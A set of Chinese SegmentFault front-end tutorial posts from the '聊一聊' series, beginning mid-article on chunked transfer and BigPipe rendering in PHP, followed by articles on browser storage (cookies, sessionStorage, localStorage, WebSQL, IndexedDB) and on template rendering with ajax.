<p><strong>当页面的某些后端处理比较耗时的时候,可以试试采用分段传输,可以渲染一部分,就发送一部分到客户端,虽然总时长不变,但是浏览器在全部传输完之前不会处于干等状态。可以尽早的渲染并给予用户反馈。</strong></p>
<h2>2 BIGPIPE</h2>
<h3>2.1 分段传输的局限</h3>
<p>刚刚笔者和读者们一起做了分段传输的实验,思路是基于读者们想展示的网页也是上快下慢的。可是读者们有没有想过,如果整个网页中,最快的是下方,而最慢的是上方呢?这样我们就无法利用分段传输的优势了吗?如图2.1.1,整个页面依旧是被最慢的第一部分数据渲染给hold住了。而后两块儿渲染较快,完全可以先传输过来。</p>
<pre><code><?php
// 获取第一块儿数据最慢
function getOneData() {
usleep(2000000);
$str = '';
for ($i = 0; $i < 500; $i++) {
$str .= '我是取出的第一个数据';
}
return $str;
}
$var1 = getOneData();
// 渲染第一块儿
include('./normal1.html.php');
ob_flush();
flush();
// 获取第二块儿数据较快
function getTwoData() {
$str = '';
for ($i = 0; $i < 500; $i++) {
$str .= '我是取出的第二个数据';
}
return $str;
}
$var2 = getTwoData();
// 渲染第二块儿
include('./normal2.html.php');
ob_flush();
flush();
// 获取地三块儿数据也较快
function getThreeData() {
$str = '';
for ($i = 0; $i < 500; $i++) {
$str .= '我是取出的第三个数据';
}
return $str;
}
$var3 = getThreeData();
// 渲染第三块儿
include('./normal3.html.php');
ob_flush();
flush();</code></pre>
<p><img src="/img/bVzh4w" alt="clipboard.png" title="clipboard.png"><br>图2.1.1</p>
<p>上述例子,在本文后github中的bigpipprepare文件夹中。</p>
<h3>2.2 解决分段传输顺序的问题</h3>
<p>看完上述描述,读者们肯定在想,如果能把最慢的部分放置于底部传过来就好了。于是有了一种加载思路,便是使用js回填的方式,先将左边最慢的部分架空,然后在底部写上js回填。这样不就可以先渲染相对较快的右侧两块儿了么。如图2.2.1<br>后端可以先渲染快的模板,然后再渲染最慢的模板。</p>
<pre><code><?php
// 渲染第一块儿的架子,还未获取内容
include('./normal1.html.php');
ob_flush();
flush();
// 获取第二块儿数据较快
function getTwoData() {
$str = '';
for ($i = 0; $i < 50; $i++) {
$str .= '我是取出的第二个数据';
}
return $str;
}
$var2 = getTwoData();
// 渲染第二块儿
include('./normal2.html.php');
ob_flush();
flush();
// 获取地三块儿数据也较快
function getThreeData() {
$str = '';
for ($i = 0; $i < 70; $i++) {
$str .= '我是取出的第三个数据';
}
return $str;
}
$var3 = getThreeData();
// 渲染第三块儿
include('./normal3.html.php');
ob_flush();
flush();
// 获取第一块儿数据最慢
function getOneData() {
usleep(2000000);
$str = '';
for ($i = 0; $i < 50; $i++) {
$str .= '我是取出的第一个数据';
}
return $str;
}
$var1 = getOneData();
// 渲染回填第一块儿
include('./normal4.html.php');
ob_flush();
flush();</code></pre>
<p>normal1.html.php</p>
<pre><code><!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8" />
<style>
html, body {
margin: 0;
}
.part1 {
vertical-align: top;
display: inline-block;
width: 200px;
background: #0f0;
outline: 1px solid #000;
}
.part2 {
vertical-align: top;
display: inline-block;
width: 200px;
background: #f00;
outline: 1px solid #000;
}
.part3 {
vertical-align: top;
display: inline-block;
width: 200px;
background: #00f;
outline: 1px solid #000;
}
</style>
</head>
<body>
<div class="part1">
</div></code></pre>
<p>normal2.html.php</p>
<pre><code><div class="part2">2. <?php echo $var2;?></div></code></pre>
<p>normal3.html.php</p>
<pre><code><div class="part3">3. <?php echo $var3;?></div></code></pre>
<p>normal4.html.php</p>
<pre><code> <script>
// 把最慢且顶在前面的部分用js回填回去
document.querySelector('.part1').innerHTML = "<?php echo $var1?>";
</script>
</body>
</html></code></pre>
<p><img src="/img/bVzh46" alt="clipboard.png" title="clipboard.png"><br>图2.2.1<br>如上图,可以看到49ms的时候,就已经渲染出来了右侧两块儿,2S的时候,左侧也渲染出来了。</p>
<p>上述例子,在本文后github中的bigpipe文件夹中。</p>
<h3>2.3 回填思路的扩展与并行化</h3>
<p>我们刚刚做了一个实验,是将耗时最慢的块儿放在底部。然而,事实情况是,如果你也不知道哪块儿慢了呢?或者是,你的几块儿数据区块儿是并行的呢?出于刚刚的经验,我们可以把页面上所有的块儿都架空,然后并行渲染,谁快谁就先渲染回填js。这样就可以达到并行且先到先渲染的目的了。我这里做了个php并行取并回填的实验,如图2.3.1,可以看到,中间红色的虽然被阻塞,但是框架先行渲染出来了所有的内容均是空的。绿色最快,先行回填渲染了出来,蓝色稍慢,也跟着渲染了出来,最后红色完毕,回填渲染结束了。<br>并行渲染的PHP(normal.php)</p>
<pre><code><?php
function asyncRequest($host, $url, $port=8082, $conn_timeout=30, $rw_timeout=86400) {
$errno = '';
$errstr = '';
$fp = fsockopen($host, $port, $errno, $errstr, $conn_timeout);
if (!$fp) {
echo "Server error:$errstr($errno)";
return false;
}
stream_set_timeout($fp, $rw_timeout);
stream_set_blocking($fp, false);
$rq = "GET $url HTTP/1.0\r\n";
$rq .= "Host: $host\r\n";
$rq .= "Connect: close\r\n\r\n";
fwrite($fp, $rq);
return $fp;
}
function asyncFetch(&$fp) {
if ($fp === false) return false;
if (feof($fp)) {
fclose($fp);
$fp = false;
return false;
}
return fread($fp, 10000);
}
$fp1 = asyncRequest('localhost', '/bigpipeparal/data1.php');
$fp2 = asyncRequest('localhost', '/bigpipeparal/data2.php');
$fp3 = asyncRequest('localhost', '/bigpipeparal/data3.php');
include('normal_frame.html.php');
ob_flush();
flush();
while (true) {
sleep(1);
$r1 = asyncFetch($fp1);
$r2 = asyncFetch($fp2);
$r3 = asyncFetch($fp3);
//谁快谁先渲染并flush刷出
if ($r1 != false) {
preg_match('/\|(.+)\|/i', $r1, $res);
$var1 = $res[1];
include('normal1.html.php');
}
if ($r2 != false) {
preg_match('/\|(.+)\|/i', $r2, $res);
$var2 = $res[1];
include('normal2.html.php');
}
if ($r3 != false) {
preg_match('/\|(.+)\|/i', $r3, $res);
$var3 = $res[1];
include('normal3.html.php');
}
if ($r1 == false && $r2 == false && $r3 == false) {
break;
}
ob_flush();
flush();
}</code></pre>
<p>主框架的模板,架空,等待回填。normal_frame.html.php</p>
<pre><code><!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8" />
<style>
html, body {
margin: 0;
}
.part1 {
vertical-align: top;
display: inline-block;
width: 200px;
background: #0f0;
outline: 1px solid #000;
}
.part2 {
vertical-align: top;
display: inline-block;
width: 200px;
background: #f00;
outline: 1px solid #000;
}
.part3 {
vertical-align: top;
display: inline-block;
width: 200px;
background: #00f;
outline: 1px solid #000;
}
</style>
</head>
<body>
<!--三块儿全部架空,等待回填-->
<div class="part1"></div>
<div class="part2"></div>
<div class="part3"></div>
</body>
</html></code></pre>
<p>具体回填模板,normal1.html.php/normal2.html.php/normal3.html.php</p>
<pre><code><script>
document.querySelector('.part1').innerHTML = "第一块儿回填!其值如下:<?php echo $var1?>";
</script></code></pre>
<p><img src="/img/bVzifr" alt="clipboard.png" title="clipboard.png"><br>图2.3.1</p>
<p>上述例子,在本文后github中的bigpipeparal文件夹中。</p>
<h3>2.4 为什么不用ajax?</h3>
<p>相信读着在此处会有疑问,为什么慢的数据,不用ajax去请求呢?这样模板框架也能尽早的渲染出来。ajax毕竟是请求。相信很多读着也有这样的经历,后端处理如果遇到了瓶颈,那么有的时候我们会选择同步页面渲染完之后,再发个请求去获取后端数据。但是笔者认为,这样做有一定弊端:<br>1、ajax毕竟是个请求,请求就要有连接,要有解析等过程。<br>2、服务端和客户端都会有闲的时候,发送ajax之前服务端闲,发送ajax出去之后,浏览器又闲着了。<br>所以,我们使用bigpipe的方式还是比多发送一个ajax有优势的。</p>
<h2>3 分段传输与bigpipe适用场景</h2>
<h3>3.1 分段传输的适用场景</h3>
<p>笔者总结了一些使用分块儿传输比较合适的场景<br><strong>1 前端需要尽早传输head中的一些css/js外联文件的情况下(可以先flush给客户端head前面的html内容,让浏览器尽早的去请求)</strong><br><strong>2 后端处理渲染的数据,上方较快,下方较慢的情况(可以先行渲染上方较快的部分)</strong></p>
<h3>3.2 使用bigpipe的场景</h3>
<p>对于更为复杂一点的bigpipe方式,如果上面的情况就适用于你的网站了的话,则最好采用简单的分块传输,否则如下情况,需要回填,则采用bigpipe方式渲染页面。毕竟,使用js回填还是有性能损耗的。<br><strong>1 后端有较慢的数据处理,阻塞住了页面的情况下,且最慢的部分不是在网页的最后。(可以把最慢的部分变为回填)</strong><br><strong>2 后端有多块儿数据要并行处理的情况下(你也不知道哪块儿先回来了,所以先渲染一个架子。对于并行的请求,先回来的先flush回填)</strong></p>
<h3>3.3 国内的应用</h3>
<p>据笔者观察,新浪微博正是采用了bigpipe的方式进行渲染,如图3.3.1,我们看到新浪微博的左侧导航栏与中间feed流区块儿都是架空的:<br><img src="/img/bVzh9n" alt="clipboard.png" title="clipboard.png"><br>图3.3.1<br>在下方,有对左侧导航栏和中间feed流部分的回填,如图3.3.2<br><img src="/img/bVzh9r" alt="clipboard.png" title="clipboard.png"><br>图3.3.2</p>
<p>所以,整个网页的渲染效果如下(如图3.3.3/图3.3.4/图3.3.5)<br><img src="/img/bVzh9D" alt="clipboard.png" title="clipboard.png"><br>图3.3.3<br><img src="/img/bVzh9H" alt="clipboard.png" title="clipboard.png"><br>图3.3.4<br><img src="/img/bVzh93" alt="clipboard.png" title="clipboard.png"><br>图3.3.5<br>笔者猜测,可能微博是并行渲染这几块儿的数据,所以采用了bigpipe的方式。</p>
<h2>4 课后作业</h2>
<p>请读者们回想一下,自己的网站到底适不适合使用分块儿传输,能否使用上面的技术,使自己的网站更快一些呢?如果使用的话,是适合使用普通的chuned提速呢?还是使用bigpipe进行提速呢?</p>
<p>如有说明不周的地方欢迎回复详询</p>
<p>本文中所有的例子,均在我的github上可以找到:<br><a href="https://link.segmentfault.com/?enc=uyjWm7KcgZSqXPKGwSEtvQ%3D%3D.PKv3iOK%2FYVkTrdgD7Jc%2F7dW%2BBysyYh8Qm0cxGU3ynXCGDvoieBdYSXa4X5jfJqAW" rel="nofollow">https://github.com/houyu01/ch...</a></p>
<p>接下来的一篇文章,我将会和读者们一起聊聊HTTPS那些事儿,不要走开,请关注我.....</p>
<p><a href="https://segmentfault.com/a/1190000006199237">https://segmentfault.com/a/11...</a></p>
<p><strong>如果喜欢本文请点击下方的推荐哦,你的推荐会变为我继续更文的动力。</strong></p>
<p>以上内容仅代表笔者个人观点,如有意见笔者愿意学习参考各读者的建议。</p>
[聊一聊系列]聊一聊前端存储那些事儿
https://segmentfault.com/a/1190000005927232
2016-07-10T23:43:08+08:00
2016-07-10T23:43:08+08:00
侯医生
https://segmentfault.com/u/doctorhou
38
<p>欢迎大家收看聊一聊系列,这一套系列文章,可以帮助前端工程师们了解前端的方方面面(不仅仅是代码):<a href="https://segmentfault.com/blog/frontenddriver">https://segmentfault.com/blog/frontenddriver</a></p>
<p>在web开发越来越复杂的今天,前端拥有的能力也越来越多。其中最重要的一项莫过于web存储。开发者们如果使用得当,这些存储可以帮助我们提升网页的性能与灵活度。本文不讲个中的细节,只讲各种前端存储的利弊,与各类存储的应用场景。毕竟这些技术的细节在网上随处可见,如果读者你决定使用的话,再去细查也不迟。我们前端人手里都有哪些存储武器,都用在什么地方,请读者随我一一聊开去......</p>
<h2>1 老朋友cookie</h2>
<h4>1.1 是什么?</h4>
<p>cookie是什么就用不着我多说了吧,可是有同学会问了,这也算存储?当然算,它也可以存东西不是,而且它会在用户访问服务器的时候被带上。但是,笔者在这里建议,不要使用过量,因为cookie在每次请求的时候都会被带上。你总不想每次访问自己网站接口或者文件的时候都带上一堆可能用不到的信息把?这样会增大请求包的大小。</p>
<h4>1.2 访问限制性</h4>
<p>众所周知,cookie可以设置访问域。即,如果你设置cookie的时候,设定了cookie的访问域名为一个顶级域名,则可以达到几个子域名共享cookie的效果。如:腾讯网与微信网页版共享了pac_uid(如图1.3.1与图1.3.2)。</p>
<p><img src="/img/bVy1LZ" alt="clipboard.png" title="clipboard.png"><br>图1.2.1</p>
<p><img src="/img/bVy1L4" alt="clipboard.png" title="clipboard.png"><br>图1.2.2</p>
<p>访问的限制在种下cookie的时候指定。所以,我们可以设定cookie的访问域名限制(当然,不能跨域啦)。<br>有些重要信息,如用户的唯一标识,建议给这些cookie字段加上HttpOnly标识。加上了这个标识的话,我们的客户端js是无法读到与写入加了标识的cookie字段的,这样非常安全。如果有不了解的读者,建议百度一下"cookie httpOnly"。</p>
<h4>1.3 存储时长</h4>
<p>如果设定了cookie的超时时间的话,那么cookie将在到期的时候失效。如果没有设定,那么cookie就是session级别的啦。这里请读者们注意一下。cookie的session含义与我们接下来要讲的sessionStorage的session含义有区别。cookie的session是,在未关闭浏览器的情况下,所有的tab级别的页面或新开,或刷新,均属于一个session,比如,我们打开www.qq.com,在其中种下。test=doctorhou,如图1.3.1</p>
<pre><code>document.cookie = 'test=doctorhou';
</code></pre>
<p><img src="/img/bVy1Nj" alt="clipboard.png" title="clipboard.png"><br>图1.3.1</p>
<p>我们再刷新一下当前页面,发现cookie还在,如图1.4.2</p>
<p><img src="/img/bVy1NS" alt="clipboard.png" title="clipboard.png"><br>图1.3.2</p>
<p>关闭种cookie的tab,我们再新开一个tab,发现cookie还是存在的,如图1.4.3</p>
<p><img src="/img/bVy1On" alt="clipboard.png" title="clipboard.png"><br>图1.3.3</p>
<p>退出浏览器,再打开www.qq.com发现test=doctorhou这一项cookie已经不在了。如图1.3.4</p>
<p><img src="/img/bVy1OM" alt="clipboard.png" title="clipboard.png"><br>图1.3.4</p>
<p>证明cookie的session含义是在浏览器退出时才结束。</p>
<h4>1.4 做什么用比较好?</h4>
<p>一般非到不得已,不要在cookie里面存东西。如果要存储的话。<strong>建议存储一些同步访问页面的时候必须要被带到服务端的信息。</strong></p>
<p>比如,网站的用户登录信息。这个是在访问时必须要在服务端获取的信息,所以种在cookie里面很必要。有的同学会说了,那一些用户信息呢?比如用户在我网站都买了什么东西,之类的。这里建议存储在服务端(存在数据库里面,或者什么里面)。然后使用用户的cookie唯一ID去数据库中查询。我们的目标是,没有蛀,哦不,越少越好。</p>
<h2>2 短暂的sessionStorage</h2>
<h4>2.1 是什么?</h4>
<p>sessionStorage属于webstorage的一种,sessionStorage与我们稍后要说的localStorage类似,可以存储k-v形式的数据,使用方法非常简单set便可以存储,如图2.1.1。</p>
<pre><code>sessionStorage.setItem('test', 'doctorhou');
</code></pre>
<p><img src="/img/bVy1VO" alt="clipboard.png" title="clipboard.png"><br>图2.1.1</p>
<p>使用sessionStorage.getItem便可以直接获取。如图2.1.2:</p>
<pre><code>sessionStorage.getItem('test');
</code></pre>
<p><img src="/img/bVy1Wj" alt="clipboard.png" title="clipboard.png"><br>图2.1.2</p>
<p>顾名思义,sessionStorage,是session级别的存储。其存储于客户端。服务端是无法直接拿到的。</p>
<h4>2.2 访问限制性</h4>
<p>不同于cookie,sessionStorage的访问限制更高一些,只有当前设定sessionStorage的域下才能访问,而且不同的两个tab之间不能互通。例,我在www.qq.com下种下了sessionStorage,在wx.qq.com下是,无法访问的。如图2.2.1、图2.2.2:</p>
<p><img src="/img/bVy1Tp" alt="clipboard.png" title="clipboard.png"><br>图2.2.1</p>
<p><img src="/img/bVy1TE" alt="clipboard.png" title="clipboard.png"><br>图2.2.2</p>
<p>在新开的tab下,或者关闭本TAB再打开后(也是www.qq.com),也是无法访问到之前种的sessionStorage的。如图2.2.3:</p>
<p><img src="/img/bVy1T0" alt="clipboard.png" title="clipboard.png"><br>图2.2.3</p>
<p>而本tab刷新的时候,sessionStorage确是可以访问的,如图2.2.4</p>
<p><img src="/img/bVy1Ud" alt="clipboard.png" title="clipboard.png"><br>图2.2.4</p>
<p><strong>以上种种,证明sessionStorage里面的session,并不同于cookie,是以tab为级别的session。</strong></p>
<h4>2.4 做什么用比较好?</h4>
<p>既然是存储于客户端而且存储级别仅仅是一个session的话,还是<strong>建议存储一些当前页面刷新需要存储,且不需要在tab关闭时候留下的信息。</strong>刚刚说了,只有页面刷新才不会清除掉sessionStorage。剩下的均会清理掉sessionStorage,当然,也许可以用sessionStorage来检测用户是否是刷新进入的页面。对于音乐播放器恢复播放进度条等功能等还是挺实用的。</p>
<h2>3 简易强大的localStorage</h2>
<h4>3.1 是什么?</h4>
<p>localStorage与sessionStorage较为相似,接口也简单,通过localStorage.setItem/localStorage.getItem即可轻松使用,如图3.1.1。</p>
<pre><code>localStorage.setItem('test', 'doctorhou');
localStorage.getItem('test');
</code></pre>
<p><img src="/img/bVy1WC" alt="clipboard.png" title="clipboard.png"><br>图3.1.1</p>
<p>localStorage可以存储k-v形式的数据。存储的值需要是字符串类型,没法直接存储对象,但是可以将对象序列化为字符串再存入。如果强行存入object的话,就会被调用object.toString从而悲剧。悲剧的存法,效果如图3.1.2:</p>
<pre><code>var doctorhou = {
name: 'doctorhou',
describe: '高大、威猛、帅气'
};
localStorage.setItem('test', doctorhou);
localStorage.getItem('test');
</code></pre>
<p><img src="/img/bVy1XX" alt="clipboard.png" title="clipboard.png"><br>图3.1.2</p>
<p>正确的存取方法,效果如图3.1.3:</p>
<pre><code>var doctorhou = {
name: 'doctorhou',
describe: '高大、威猛、帅气'
};
localStorage.setItem('test', JSON.stringify(doctorhou));
JSON.parse(localStorage.getItem('test'));
</code></pre>
<p><img src="/img/bVy1Ym" alt="clipboard.png" title="clipboard.png"><br>图3.1.3</p>
<p>localStorage的存储周期比sessionStorage长,如果用户不清理的话,是可以永久存储的。</p>
<h4>3.2 访问的限制性</h4>
<p>localStorage与sessionStorage虽然相似,但是访问限制却不尽相同,localStorage的访问域默认设定为设置localStorage的当前域,其他域名不可以取。这点与sessionStorage相同,但是与sessionStorage不同的是,localStorage设定后,新开tab是可以访问到的,如图3.2.1与图3.2.2</p>
<p><img src="/img/bVy1YV" alt="clipboard.png" title="clipboard.png"><br>图3.2.1</p>
<p><img src="/img/bVy1YZ" alt="clipboard.png" title="clipboard.png"><br>图3.2.2</p>
<h4>3.3 存储时间</h4>
<p>localStorage理论上讲是永久性质的存储。但是,免不了用户会使用浏览器清除数据,或者浏览器有时候为了节省,去清除数据。</p>
<h4>3.4 大小限制及检测</h4>
<p>localStorage的大小一般限定为4M左右,这点可以根据实际浏览器来测试。那么,如何检测自己已经消耗了多少空间呢?可以直接将localStorage序列化,看看其字节数,就可以算出其已经占用的空间了(可能会有点误差,这样做会把一些转移符号算进去,可以消除掉后再算)。如图3.4.1,我们看出了自己大约已经使用了61个字节的</p>
<pre><code>JSON.stringify(localStorage)
</code></pre>
<p><img src="/img/bVy10j" alt="clipboard.png" title="clipboard.png"><br>图3.4.1</p>
<h4>3.5 做什么用比较好</h4>
<p>由于localStorage的稳定性质,及其长效的存储。<strong>笔者建议如果有一些数据,服务器难以承载其压力,但又要与用户的信息绑定的话,可以使用localStorage存储一些状态,这样即能缓解服务端压力,也可以存储用户的数据。</strong>当然,也有一些小技巧,可以用localStorage提高网站访问的速度。如笔者写的一篇浅析文章:<br><a href="https://segmentfault.com/a/1190000005882953">聊一聊百度移动端首页前端速度那些事儿</a><br>读者们可以尝试使用。</p>
<h2>4 websql与indexeddb</h2>
<h4>4.1 是什么?</h4>
<p>这两位可是web存储中的重型武器。为什么放在一起说呢,是因为,websql的标准,官方已经不打算维护了,转而维护了新的indexeddb,读者可能会问了,那直接说indexeddb就好了,为啥还要说websql,因为websql虽然过时了,但是其兼容性却出奇的好,几乎是移动端均可用呀。我们来看一下caniuse上的兼容性数据:</p>
<p>websql的兼容性如图4.1.1</p>
<p><img src="/img/bVy1ZD" alt="clipboard.png" title="clipboard.png"><br>图4.1.1</p>
<p>indexeddb的兼容性却不是很好,android4.4之前以及ios7以前都无法使用。如图4.1.2</p>
<p><img src="/img/bVy1ZQ" alt="clipboard.png" title="clipboard.png"><br>图4.1.2</p>
<p>所以笔者建议如下,能用indexeddb的时候,就要使用indexeddb,因为其代表了未来的发展方向。如果用不了indexeddb的尽量使用websql进行代替。其实就是使用一段腻子脚本(polyfill)即可,做一下兼容。接下来我们会尝试做一点腻子脚本。</p>
<p>websql更像是关系型数据库,并且使用sql语句进行操作,效果如图4.1.2</p>
<pre><code><!doctype html>
<html>
<head>
<meta charset="utf-8" />
</head>
<body>
<script>
var db = window.openDatabase('testDB', '1.0', 'TestDb', 2 * 1024 * 1024);
db.transaction(function (context) {
context.executeSql('CREATE TABLE IF NOT EXISTS cubefe(id, name)');
context.executeSql('INSERT INTO cubefe (id, name) VALUES (1, "doctorhou")');
});
</script>
</body>
</html>
</code></pre>
<p><img src="/img/bVy11G" alt="clipboard.png" title="clipboard.png"><br>图4.1.2</p>
<p>indexeddb更像是nosql,直接使用js的方法操作数据即可,效果如图4.1.3</p>
<pre><code><!doctype html>
<html>
<head>
<meta charset="utf-8" />
</head>
<body>
<script>
var startTime = +new Date();
console.log('starttime:', startTime);
function openDB(dbname, version, cb) {
var request = window.indexedDB.open(dbname);
request.onsuccess = function (e) {
var db = e.target.result;
myDB.db = db;
var version = db.version;
if (!db.objectStoreNames.contains('students')) {
request = db.createObjectStore('students', {autoIncrement: true});
}
cb && cb(e);
};
}
var myDB = {
name: 'test',
version: 4,
db: null
};
openDB(myDB.name, myDB.version, function (e) {
var db = e.target.result;
var storeName = 'students';
var transaction = db.transaction(storeName, 'readwrite');
var store = transaction.objectStore(storeName);
store.put({id: 2, name: 'doctorhou'}, 'b');
var request = store.get(1);
request.onsuccess = function (e) {
console.log(request.result);
var endTime = +new Date();
console.log('take-time:', endTime - startTime);
};
});
</script>
</body>
</html>
</code></pre>
<p><img src="/img/bVy13v" alt="clipboard.png" title="clipboard.png"><br>图4.1.3</p>
<h4>4.2 访问</h4>
<p>indexeddb和websql在这一点上与localStorage一致,均是在创建数据库的域名下才能访问。而且不能指定访问域名。</p>
<h4>4.3 存储时间</h4>
<p>这两位的存储时间也是永久,除非用户清除数据,可以用作长效的存储。</p>
<h4>4.4 大小限制</h4>
<p>理论上讲,这两种存储的方式是没有大小限制的。然而indexeddb的数据库超过50M的时候浏览器会弹出确认。基本上也相当于没有限制了。</p>
<h4>4.5 性能如何?</h4>
<p>我这边做了个实验,indexeddb查询少量数据也就花费了20MS左右。还是很快的。如图4.5.1</p>
<p><img src="/img/bVy14m" alt="clipboard.png" title="clipboard.png"><br>图4.5.1</p>
<p>大量数据的情况下,相对耗时会变长一些,但是也就在30MS左右,也是相当给力了。如图4.5.2所示,10W数据+,毕竟nosql。</p>
<pre><code>for (var i = 0; i < 100000; i++) {
store.add({id: 2, name: 'doctorhou'});
}</code></pre>
<p><img src="/img/bVy14Z" alt="clipboard.png" title="clipboard.png"><br>图4.5.2</p>
<p>而websql这边的效率也不错,10w+数据,简单查询一下,只花费了20MS左右,如图4.5.3所示</p>
<pre><code><script>
var startTime = +new Date();
var db = window.openDatabase('testDB', '1.0', 'TestDb', 2 * 1024 * 1024);
db.transaction(function (context) {
context.executeSql('CREATE TABLE IF NOT EXISTS cubefe(id, name)');
/*for (var i = 0; i < 100000; i++) {
context.executeSql('INSERT INTO cubefe (id, name) VALUES (i, "doctorhou")');
}*/
context.executeSql('SELECT * FROM cubefe WHERE rowid="99999"', [], function (tx, results) {
console.log(results);
console.log('take-time', (+new Date()) - startTime);
}, null);
});
</script></code></pre>
<p><img src="/img/bVy15w" alt="clipboard.png" title="clipboard.png"><br>图4.5.3</p>
<h4>4.6 拿来干什么用?</h4>
<p><strong>当我们是在做一个离线应用,或者webapp的时候,可以考虑使用本地数据库中存取数据。</strong>如果不存大量的数据的话,其实localStorage就够用了。亦或者,你想把一张用户的皮肤图片之类的大量数据存入客户端缓存起来,localStorage已经不够用了的话,也可以尝试一下websql与indexeddb。</p>
<p>接下来的一篇文章,我将会和读者们一起聊聊前端调试那些事儿,不要走开,请关注我.....</p>
<p><a href="https://segmentfault.com/a/1190000005964730">https://segmentfault.com/a/1190000005964730</a></p>
<p><strong>如果喜欢本文请点击下方的推荐哦,你的推荐会变为我继续更文的动力。</strong></p>
<p>以上内容仅代表笔者个人观点,如有意见笔者愿意学习参考各读者的建议。</p>
[聊一聊系列]聊一聊前端模板与渲染那些事儿
https://segmentfault.com/a/1190000005916423
2016-07-09T00:53:20+08:00
2016-07-09T00:53:20+08:00
侯医生
https://segmentfault.com/u/doctorhou
13
<p>欢迎大家收看聊一聊系列,这一套系列文章,可以帮助前端工程师们了解前端的方方面面(不仅仅是代码):<br><a href="https://segmentfault.com/blog/frontenddriver">https://segmentfault.com/blog...</a></p>
<p>作为现代应用,ajax的大量使用,使得前端工程师们日常的开发少不了拼装模板,渲染模板。我们今天就来聊聊,拼装与渲染模板的那些事儿。</p>
<p><strong>如果喜欢本文请点击右侧的推荐哦,你的推荐会变为我继续更文的动力。</strong></p>
<h2>1 页面级的渲染</h2>
<p>在刚有web的时候,前端与后端的交互,非常直白,浏览器端发出URL,后端返回一张拼好了的HTML串。浏览器对其进行渲染。html中可能会混有一些php(或者php中混有一些html)。在服务端将数据与模板进行拼装,生成要返回浏览器端的html串。</p>
<p>这与我们现在做一个普通网页没什么区别。只不过现在,我们更常使用模板技术来解决前后端耦合的问题。</p>
<p>前端使用模板引擎,在html中写一些标签,与数据与逻辑基本无关。后端在渲染的时候,解析这些标签,生成HTML串,如smarty。其实前端与后端的交互在服务端就已经有一次了。</p>
<p>模板:</p>
<pre><code>front.tpl
<div>
{%$a%}
</div>
后端:
// 设置变量
$smarty->assign('a', 'give data');
// 展示模板
$smarty->display("front.tpl");
到前端时是渲染好的html串:
<div>
give data
</div>
</code></pre>
<p>这种方式的特点是展示数据快,直接后端拼装好数据与模板,展现到用户面前。</p>
<h2>2 异步的请求与新增模板</h2>
<p>新的时代,由ajax引领。(Asynchronous Javascript And XML),这种技术的历史,我就不再赘述。ajax的用法也有多种。</p>
<p>ajax接受各种类型的返回。包括XML/JSON/String等。前端发起ajax请求,后端直接将数据返回。</p>
<p>但是,读者们有没有想过,ajax回来的数据是干嘛用的呢?相信大部分人使用ajax拿回的数据是用来展示的。前端得把ajax拿回来的数据与模板进行拼装。这就面临了一个问题,当你的模板非常“华丽”的时候(也就是模板代码比较多的时候)。我们在前端写的拼字符串的逻辑,会非常的复杂。</p>
<p>也有的人图省事,直接就在ajax的返回值中,传输拼装好的html字符串。这样可以直接把ajax拿到的html字符串,填充到页面上。</p>
<p>下面实例说明一下两种方式:</p>
<h3>2.1 ajax获取字符串直接渲染方式</h3>
<p>如图2.1.1所示:</p>
<pre><code>index.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
</head>
<body>
<h1>下面是待填充区域:</h1>
<div class="blankPlace"></div>
<script>
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if (xhr.readyState === 4 && xhr.status >= 200 && xhr.status < 300) {
document.querySelector('.blankPlace').innerHTML = xhr.responseText;
}
};
xhr.open('GET', './a.html');
xhr.send(null);
</script>
</body>
</html>
========================================================================
a.html
<h2>我是模板</h2>
<div>这是请求回来的数据</div>
</code></pre>
<p> <br><img src="/img/bVyZht" alt="171834_IGuj_1177792.png" title="171834_IGuj_1177792.png"><br>图2.1.1</p>
<h3>2.2 ajax获取数据,前端进行拼装的方式</h3>
<p>效果如图2.2.1所示:</p>
<pre><code><!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
</head>
<body>
<h1>下面是待填充区域:</h1>
<div class="blankPlace"></div>
<script>
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if (xhr.readyState === 4 && xhr.status >= 200 && xhr.status < 300) {
var res = JSON.parse(xhr.responseText);
document.querySelector('.blankPlace').innerHTML = ''
+'<h2>'+
'我是模板'+
'</h2>'+
'<div>'+
res.data+
'</div>';
}
};
xhr.open('GET', './b.json');
xhr.send(null);
</script>
</body>
</html>
================================================
b.json
{"data": "这是请求回来的数据"}
</code></pre>
<p><img src="/img/bVyZhv" alt="172537_JrgD_1177792.png" title="172537_JrgD_1177792.png"><br>图 2.2.1</p>
<h3>2.3 两种方式的权衡 </h3>
<p>那么,如何权衡两种方式呢?</p>
<p>笔者单从自己的思维考虑,得出以下结论。如果这种模板的拼装会发生多次。是一个非常频繁的行为,且模板基本一致,只是数据变动的话,最好是一开始采用客户端拼装的方法。因为,同样的模板没有必要被传到客户端好几次。这样,我们可以剩下传输同样模板的流量,请求更快。</p>
<p>类似于新闻流这种网站比较适合这种方式,如今日头条,如图2.3.1所示:</p>
<p><img src="/img/bVyZhz" alt="173508_Jb0C_1177792.png" title="173508_Jb0C_1177792.png"><br>图2.3.1</p>
<p><img src="/img/bVyZhD" alt="173613_MQUA_1177792.png" title="173613_MQUA_1177792.png"><br>图2.3.2</p>
<p>笔者在DOM上面打了断点后,找到了其拼装模板,确是在客户端所做。</p>
<p>不过,这种做法也有问题,就是用户同步刷新的时候,需要等页面渲染完,再发一个请求,去请求第一屏的数据,才能开始渲染。这个过程相当于发了两次请求,等待的时候还是有所感知的,如图2.3.3所示。</p>
<p><img src="/img/bVyZhE" alt="174016_s2Du_1177792.png" title="174016_s2Du_1177792.png"><br>图2.3.3</p>
<p>所以这种方式也是有些不尽人意的地方的。经过查看,网易新闻的web版,今日头条的web版,天天快报的web版均是采用这种方式。</p>
<p>第二种方式,同步的时候,就将一段渲染好的HTML,直接输出到页面,而在异步的时候,请求的也是这段HTML,直接将请求回的HTML往页面上一塞就完成了。这样就可以达到同步页面的时候,直接输出,用户就不会看到等待中的小菊花了。</p>
<p>百度首页就采取了这种方式。新闻直出,无需等待如图2.3.4</p>
<p><img src="/img/bVyZhH" alt="174928_0Skn_1177792.png" title="174928_0Skn_1177792.png"><br>图2.3.4</p>
<p>但是每次请求新闻的时候,也会去请求HTML片段,如图2.3.5所示</p>
<p><img src="/img/bVyZhN" alt="175152_j366_1177792.png" title="175152_j366_1177792.png"><br>图2.3.5</p>
